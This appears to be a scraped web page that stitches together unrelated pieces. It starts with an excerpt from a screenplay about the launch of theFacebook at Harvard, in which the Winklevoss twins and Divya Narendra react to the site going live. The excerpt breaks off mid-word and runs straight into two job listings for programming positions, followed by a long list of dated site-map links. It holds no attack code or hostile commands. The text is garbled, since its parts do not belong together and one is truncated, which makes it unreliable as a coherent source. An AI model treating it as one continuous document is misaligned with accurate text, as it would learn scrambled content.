EDUARDO (beat) Sure. MARK Good. EDUARDO takes out his laptop-- MARK (CONT'D) Gimmie the mailing list. EDUARDO "Jabberwock12.listserv@Harvard E-D-U." MARK opens up an e-mail and is writing a short message, then includes a link to the site-- MARK These guys. They're literary geniuses because the world's most obvious Lewis Carroll reference-- EDUARDO They're not so bad. MARK I'm just saying. 54. EDUARDO You're right. He hits "Send". MARK The site's live. EDUARDO (pause) You know what? Let's go get a drink and celebrate. I'm buying. MARK is staring at the computer... EDUARDO (CONT'D) Mark? MARK doesn't hear him. We just see MARK's head from the back and it's ever so slightly bobbing back and forth... EDUARDO (CONT'D) (pause) Mark? (beat) Are you praying? CUT TO: INT. DINING HALL - NIGHT THE KROKODILOES, Harvard's oldest male a Capella group, are singing at the front of the hall in their usual uniform of white tie and tails for a packed crowd of students and parents. Incongruously, but with surprisingly nice results, the group is covering a song from All-4-One--"I Swear"--and the pub full of students is loving it. We find a table in the back where DIVYA is sitting with his girlfriend and some of their friends who are having a nice time. Divya's girlfriend, K.C., has her laptop open. MALE FRIEND What ever happened to Cole Porter and Irving Berlin? FEMALE FRIEND It's a Valentine's theme. They're playing love songs. MALE FRIEND Good point, 'cause Cole Porter and Irving Berlin never wrote any love songs. 55. DIVYA Honey, you should put the laptop away. K.C. Seven different people spammed me the same link. DIVYA K.C.-- She clicks on the link-- FEMALE FRIEND What is it? K.C. (dryly) I don't know, but I'm really hoping it's cats that look like Hitler 'cause I can never get enough of that. (beat) It's not. DIVYA takes K.C.'s hand and turns his focus back to the singers but only for just a second because whatever was on the screen gets his attention in a hurry. He swivels the laptop toward himself-- He starts quickly scrolling and reading it and we PUSH IN on his face as the blood starts draining away... K.C. (CONT'D) Div! (beat) What? DIVYA shuts the laptop, grabs it off the table-- Puts it back-- People are starting to turn and see what the commotion is about as the singing continues. K.C. (CONT'D) What is wrong? DIVYA starts to bolt out of the pub. His foot gets caught on a chair leg and he falls hard face-first to the floor. DIVYA It's fine. He starts out again, then comes back for his coat, grabs it, starts out and falls down all over again. 56. Finally he's got it together and flies out of the pub and we CUT TO: EXT. BRIDGE - NIGHT DIVYA's running across the Charles in the freezing February air and we CUT TO: INT. BOATHOUSE - NIGHT CAMERON and TYLER are rowing in a large practice tank--a simulator with a hull, oars and rowable water. They're focused and charging away in perfect sync when the door at the end of the century-old boathouse opens and DIVYA charges in from the cold with his laptop and a copy of the Crimson in his hands. DIVYA (calling) Hey! The twins are in the zone and don't pay any attention. DIVYA (CONT'D) (louder) Hey! CAMERON Not now, we need 20 minutes. DIVYA (calmly) Okay. I just wanted to let you know Zuckerberg stole our website. TYLER stops rowing and then CAMERON. They look at DIVYA... DIVYA (CONT'D) Mark Zuckerberg stole our website. It's been live for more than 36 hours. CUT TO: INT. CAMERON AND TYLER'S DORM ROOM - NIGHT They're in gear. CAMERON's taken a quick shower but didn't dry off. He's in sweatpants with a towel over his shoulder, talking on the phone with his father and holding the Crimson. DIVYA's on his cell looking for MARK and TYLER, still in his practice clothes, has his desktop computer open to theFacebook and is studying it. 57. CAMERON (covering the phone) Ty, the lawyer's on the phone with Dad. (into phone) I'm here with my brother, Tyler, and our business partner, Divya. TYLER (reading off the computer) "Welcome to theFacebook. TheFacebook is an online directory that connects people through different social networks. You must have a Harvard.edu address to register." CAMERON (into phone) That's right. DIVYA (into cell) I called earlier. I'm looking for Mark Zuckerberg. CAMERON (into phone) Yes sir, he's quoted a couple of times. I can read it to you, "'Everyone's been talking a lot about a universal facebook within Harvard', he says"--he meaning Mark--"'I think it's kind of silly that it would take the University a couple of years to get around to it. I can do a classier job than they can and I did in a week.'" DIVYA (into cell) Tell him Divya Narendra called, I appreciate it. CAMERON (into phone) I know, that's how he talks. DIVYA (off another copy of the Crimson) "As of yesterday evening, Zuckerberg said over 650 students had registered to use theFacebook.com. He said he anticipated that 900 students would have joined the site by this morning." 58. CAMERON (into phone) Yeah, Divya was just reading that 650 students signed up for it on the first day. TYLER If I were a drug dealer I couldn't give free drugs to 650 people in one day. DIVYA And this guy doesn't have three friends to rub together to make a fourth. CAMERON (quieting them so he can hear) Guys, please, come on. (into phone) That's what we'll do, Mr. Hotchkiss. We'll put all this together and we'll email it to you. (listens) You won't be able to get on the website yourself. (beat) Because you don't have--a Harvard, umm-- You know what, it would just be easier for us to email it to you. (listens) No, I'm sure you're right, this is a good guy-- DIVYA (reacting) Wow!! CAMERON (into phone) --and he's very bright and I'm sure he didn't mean to...do what he did. (beat) Thank you very much, and Dad--alright love you too. CAMERON hangs up. DIVYA This is a good guy? CAMERON We don't know that he's not a good guy. DIVYA We know that he stole our idea. We know he lied to our faces for a month and a half while he-- 59. CAMERON He never lied to our faces. DIVYA (DIVYA tosses the Crimson to TYLER) He never saw our faces! He lied to our email accounts and he got himself a 42-day head start because he knows what apparently you don't which is that getting there first is everything! CAMERON I'm a competitive racer, Div, I don't think you need to school me on the importance of getting there first, thank you. DIVYA Alright. That was your father's lawyer? CAMERON It was his in-house counsel, he'll look at it and if he thinks it's appropriate he'll send a cease and desist letter. DIVYA What's that gonna do? CAMERON What, do you wanna hire and IP lawyer and sue him? DIVYA No, I wanna hire the Sopranos to beat the shit out of him with a hammer. TYLER We don't even have to do that. CAMERON That's right. TYLER We can do that ourselves. CAMERON Hey-- TYLER I'm six-five, 220 and there's two of me. DIVYA I'm with this guy. 60. CAMERON And I'm saying let's calm down until we know what we're talking about. DIVYA How much more information are you waiting for? We met with Mark three times, we exchanged 52 e-mails, we can prove that he looked at the code-- (then) What is that on the bottom of the page? CAMERON (he's already seen it) It says "A Mark Zuckerberg Production". DIVYA On the home page? TYLER On every page. DIVYA Shit, I need a second to let the classiness waft over me. CAMERON Look-- TYLER Cam. They wrote, "Zuckerberg said that he hoped the privacy options would help to restore his reputation following student outrage over Facemash.com". (beat) That's exactly what WE said to him. He's givi
          Web Programmer and System Administration Position, Institute of Space & Atmospheric Studies - University of Saskatchewan - Saskatoon, SK      Cache   Translate Page      
Web programming (HTML, CSS, and javascript), strong Linux skills, system administration tools (bash, databases, apache, and SSL).... $45,000 - $60,000 a year
From University of Saskatchewan - Thu, 24 Jan 2019 00:19:02 GMT - View all Saskatoon, SK jobs
          Software Developer I - Edgesource Corporation - McLean, VA      Cache   Translate Page      
Experience with the Apache Hadoop ecosystem, MapR and/or Databricks. Edgesource is seeking a Software Developer I to join our team of qualified, diverse...
From Edgesource Corporation - Fri, 07 Dec 2018 11:20:16 GMT - View all McLean, VA jobs


Next Page: 10000

Site Map 2018_01_14
Site Map 2018_01_15
Site Map 2018_01_16
Site Map 2018_01_17
Site Map 2018_01_18
Site Map 2018_01_19
Site Map 2018_01_20
Site Map 2018_01_21
Site Map 2018_01_22
Site Map 2018_01_23
Site Map 2018_01_24
Site Map 2018_01_25
Site Map 2018_01_26
Site Map 2018_01_27
Site Map 2018_01_28
Site Map 2018_01_29
Site Map 2018_01_30
Site Map 2018_01_31
Site Map 2018_02_01
Site Map 2018_02_02
Site Map 2018_02_03
Site Map 2018_02_04
Site Map 2018_02_05
Site Map 2018_02_06
Site Map 2018_02_07
Site Map 2018_02_08
Site Map 2018_02_09
Site Map 2018_02_10
Site Map 2018_02_11
Site Map 2018_02_12
Site Map 2018_02_13
Site Map 2018_02_14
Site Map 2018_02_15
Site Map 2018_02_15
Site Map 2018_02_16
Site Map 2018_02_17
Site Map 2018_02_18
Site Map 2018_02_19
Site Map 2018_02_20
Site Map 2018_02_21
Site Map 2018_02_22
Site Map 2018_02_23
Site Map 2018_02_24
Site Map 2018_02_25
Site Map 2018_02_26
Site Map 2018_02_27
Site Map 2018_02_28
Site Map 2018_03_01
Site Map 2018_03_02
Site Map 2018_03_03
Site Map 2018_03_04
Site Map 2018_03_05
Site Map 2018_03_06
Site Map 2018_03_07
Site Map 2018_03_08
Site Map 2018_03_09
Site Map 2018_03_10
Site Map 2018_03_11
Site Map 2018_03_12
Site Map 2018_03_13
Site Map 2018_03_14
Site Map 2018_03_15
Site Map 2018_03_16
Site Map 2018_03_17
Site Map 2018_03_18
Site Map 2018_03_19
Site Map 2018_03_20
Site Map 2018_03_21
Site Map 2018_03_22
Site Map 2018_03_23
Site Map 2018_03_24
Site Map 2018_03_25
Site Map 2018_03_26
Site Map 2018_03_27
Site Map 2018_03_28
Site Map 2018_03_29
Site Map 2018_03_30
Site Map 2018_03_31
Site Map 2018_04_01
Site Map 2018_04_02
Site Map 2018_04_03
Site Map 2018_04_04
Site Map 2018_04_05
Site Map 2018_04_06
Site Map 2018_04_07
Site Map 2018_04_08
Site Map 2018_04_09
Site Map 2018_04_10
Site Map 2018_04_11
Site Map 2018_04_12
Site Map 2018_04_13
Site Map 2018_04_14
Site Map 2018_04_15
Site Map 2018_04_16
Site Map 2018_04_17
Site Map 2018_04_18
Site Map 2018_04_19
Site Map 2018_04_20
Site Map 2018_04_21
Site Map 2018_04_22
Site Map 2018_04_23
Site Map 2018_04_24
Site Map 2018_04_25
Site Map 2018_04_26
Site Map 2018_04_27
Site Map 2018_04_28
Site Map 2018_04_29
Site Map 2018_04_30
Site Map 2018_05_01
Site Map 2018_05_02
Site Map 2018_05_03
Site Map 2018_05_04
Site Map 2018_05_05
Site Map 2018_05_06
Site Map 2018_05_07
Site Map 2018_05_08
Site Map 2018_05_09
Site Map 2018_05_15
Site Map 2018_05_16
Site Map 2018_05_17
Site Map 2018_05_18
Site Map 2018_05_19
Site Map 2018_05_20
Site Map 2018_05_21
Site Map 2018_05_22
Site Map 2018_05_23
Site Map 2018_05_24
Site Map 2018_05_25
Site Map 2018_05_26
Site Map 2018_05_27
Site Map 2018_05_28
Site Map 2018_05_29
Site Map 2018_05_30
Site Map 2018_05_31
Site Map 2018_06_01
Site Map 2018_06_02
Site Map 2018_06_03
Site Map 2018_06_04
Site Map 2018_06_05
Site Map 2018_06_06
Site Map 2018_06_07
Site Map 2018_06_08
Site Map 2018_06_09
Site Map 2018_06_10
Site Map 2018_06_11
Site Map 2018_06_12
Site Map 2018_06_13
Site Map 2018_06_14
Site Map 2018_06_15
Site Map 2018_06_16
Site Map 2018_06_17
Site Map 2018_06_18
Site Map 2018_06_19
Site Map 2018_06_20
Site Map 2018_06_21
Site Map 2018_06_22
Site Map 2018_06_23
Site Map 2018_06_24
Site Map 2018_06_25
Site Map 2018_06_26
Site Map 2018_06_27
Site Map 2018_06_28
Site Map 2018_06_29
Site Map 2018_06_30
Site Map 2018_07_01
Site Map 2018_07_02
Site Map 2018_07_03
Site Map 2018_07_04
Site Map 2018_07_05
Site Map 2018_07_06
Site Map 2018_07_07
Site Map 2018_07_08
Site Map 2018_07_09
Site Map 2018_07_10
Site Map 2018_07_11
Site Map 2018_07_12
Site Map 2018_07_13
Site Map 2018_07_14
Site Map 2018_07_15
Site Map 2018_07_16
Site Map 2018_07_17
Site Map 2018_07_18
Site Map 2018_07_19
Site Map 2018_07_20
Site Map 2018_07_21
Site Map 2018_07_22
Site Map 2018_07_23
Site Map 2018_07_24
Site Map 2018_07_25
Site Map 2018_07_26
Site Map 2018_07_27
Site Map 2018_07_28
Site Map 2018_07_29
Site Map 2018_07_30
Site Map 2018_07_31
Site Map 2018_08_01
Site Map 2018_08_02
Site Map 2018_08_03
Site Map 2018_08_04
Site Map 2018_08_05
Site Map 2018_08_06
Site Map 2018_08_07
Site Map 2018_08_08
Site Map 2018_08_09
Site Map 2018_08_10
Site Map 2018_08_11
Site Map 2018_08_12
Site Map 2018_08_13
Site Map 2018_08_15
Site Map 2018_08_16
Site Map 2018_08_17
Site Map 2018_08_18
Site Map 2018_08_19
Site Map 2018_08_20
Site Map 2018_08_21
Site Map 2018_08_22
Site Map 2018_08_23
Site Map 2018_08_24
Site Map 2018_08_25
Site Map 2018_08_26
Site Map 2018_08_27
Site Map 2018_08_28
Site Map 2018_08_29
Site Map 2018_08_30
Site Map 2018_08_31
Site Map 2018_09_01
Site Map 2018_09_02
Site Map 2018_09_03
Site Map 2018_09_04
Site Map 2018_09_05
Site Map 2018_09_06
Site Map 2018_09_07
Site Map 2018_09_08
Site Map 2018_09_09
Site Map 2018_09_10
Site Map 2018_09_11
Site Map 2018_09_12
Site Map 2018_09_13
Site Map 2018_09_14
Site Map 2018_09_15
Site Map 2018_09_16
Site Map 2018_09_17
Site Map 2018_09_18
Site Map 2018_09_19
Site Map 2018_09_20
Site Map 2018_09_21
Site Map 2018_09_23
Site Map 2018_09_24
Site Map 2018_09_25
Site Map 2018_09_26
Site Map 2018_09_27
Site Map 2018_09_28
Site Map 2018_09_29
Site Map 2018_09_30
Site Map 2018_10_01
Site Map 2018_10_02
Site Map 2018_10_03
Site Map 2018_10_04
Site Map 2018_10_05
Site Map 2018_10_06
Site Map 2018_10_07
Site Map 2018_10_08
Site Map 2018_10_09
Site Map 2018_10_10
Site Map 2018_10_11
Site Map 2018_10_12
Site Map 2018_10_13
Site Map 2018_10_14
Site Map 2018_10_15
Site Map 2018_10_16
Site Map 2018_10_17
Site Map 2018_10_18
Site Map 2018_10_19
Site Map 2018_10_20
Site Map 2018_10_21
Site Map 2018_10_22
Site Map 2018_10_23
Site Map 2018_10_24
Site Map 2018_10_25
Site Map 2018_10_26
Site Map 2018_10_27
Site Map 2018_10_28
Site Map 2018_10_29
Site Map 2018_10_30
Site Map 2018_10_31
Site Map 2018_11_01
Site Map 2018_11_02
Site Map 2018_11_03
Site Map 2018_11_04
Site Map 2018_11_05
Site Map 2018_11_06
Site Map 2018_11_07
Site Map 2018_11_08
Site Map 2018_11_09
Site Map 2018_11_10
Site Map 2018_11_11
Site Map 2018_11_12
Site Map 2018_11_13
Site Map 2018_11_14
Site Map 2018_11_15
Site Map 2018_11_16
Site Map 2018_11_17
Site Map 2018_11_18
Site Map 2018_11_19
Site Map 2018_11_20
Site Map 2018_11_21
Site Map 2018_11_22
Site Map 2018_11_23
Site Map 2018_11_24
Site Map 2018_11_25
Site Map 2018_11_26
Site Map 2018_11_27
Site Map 2018_11_28
Site Map 2018_11_29
Site Map 2018_11_30
Site Map 2018_12_01
Site Map 2018_12_02
Site Map 2018_12_03
Site Map 2018_12_04
Site Map 2018_12_05
Site Map 2018_12_06
Site Map 2018_12_07
Site Map 2018_12_08
Site Map 2018_12_09
Site Map 2018_12_10
Site Map 2018_12_11
Site Map 2018_12_12
Site Map 2018_12_13
Site Map 2018_12_14
Site Map 2018_12_15
Site Map 2018_12_16
Site Map 2018_12_17
Site Map 2018_12_18
Site Map 2018_12_19
Site Map 2018_12_20
Site Map 2018_12_21
Site Map 2018_12_22
Site Map 2018_12_23
Site Map 2018_12_24
Site Map 2018_12_25
Site Map 2018_12_26
Site Map 2018_12_27
Site Map 2018_12_28
Site Map 2018_12_29
Site Map 2018_12_30
Site Map 2018_12_31
Site Map 2019_01_01
Site Map 2019_01_02
Site Map 2019_01_03
Site Map 2019_01_04
Site Map 2019_01_06
Site Map 2019_01_07
Site Map 2019_01_08
Site Map 2019_01_09
Site Map 2019_01_11
Site Map 2019_01_12
Site Map 2019_01_13
Site Map 2019_01_14
Site Map 2019_01_15
Site Map 2019_01_16
Site Map 2019_01_17
Site Map 2019_01_18
Site Map 2019_01_19
Site Map 2019_01_20
Site Map 2019_01_21
Site Map 2019_01_22
Site Map 2019_01_23
Site Map 2019_01_24
Site Map 2019_01_25
Site Map 2019_01_26
Site Map 2019_01_27
Site Map 2019_01_28
Site Map 2019_01_29
Site Map 2019_01_30
Site Map 2019_01_31
Site Map 2019_02_01
Site Map 2019_02_02
Site Map 2019_02_03
Site Map 2019_02_04
Site Map 2019_02_05
Site Map 2019_02_06
Site Map 2019_02_07
Site Map 2019_02_08
Site Map 2019_02_09
Site Map 2019_02_10